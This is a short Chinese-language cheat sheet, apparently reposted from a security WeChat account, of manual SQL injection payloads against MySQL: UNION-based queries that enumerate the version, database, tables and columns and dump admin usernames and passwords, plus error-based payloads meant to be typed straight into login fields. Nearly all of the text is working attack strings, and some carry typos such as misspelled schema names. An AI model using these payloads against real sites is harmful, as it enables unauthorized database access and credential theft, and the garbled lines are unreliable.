MySQL手工暴库语句

本期给大家整理了一下手工的爆库语句,虽然没有sqlmap那么好,但是在特定的情况下还是很有用,大家可以收藏作为一个笔记使用。

MySQL数据库(5.0以上才可以利用information_schema手工测) union select 1,version(),3,4,5,6,7,8,9,10

//测数据库版本 order by 10

//给列排序

union select 1,2,3,4,5,6,7,8,9,10

//union联合查询,在前面加上and 1=1 报错查询列,比如错误的列是2,那么使用如下的:union select 1,database(),3,4,5,6,7,8,9,10 爆出当前数据库,或者用use()显示当前的用户

union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.table where table_schema='xycms' //当知道了一个数据库名,这条语句的意思就是指定数据库为xycms,查这个数据库所有的表名

union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.colums where table_schema='manage_user'

//假设爆出的表名为manage_user,列出这个表有哪些列名

union select 1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user //爆出了列名,指定一下两个列名,爆里面的数据 MySQL显错注入 (加单引号报错).以下语句直接放到注入的点,如:账号输入框 爆当前数据库用户,直接带入到查询的地方 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b# 爆当前数据库名称 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select database() limit 0,1))a from information_schema.tables group by a)b# 爆当前版本号 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select version() limit 0,1))a from information_schema.tables group by a)b# 爆当前数据库 -999999999' and (select 1 from (select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database()as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 爆表 //0x64656E67为上面爆出的数据库名的十六进制 'and (select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e)) from information_schema.tables where table_schema=0x64656E67 limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 爆字段 'and (select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e)) from information_schema.columns where table_schema=0x64656E67 and table_name=0x75736572 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)x from information_schema.tables group by x)a)#

原文发布于微信公众号 - 白安全组(bai-1152770445)

原文发表时间:2019-05-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券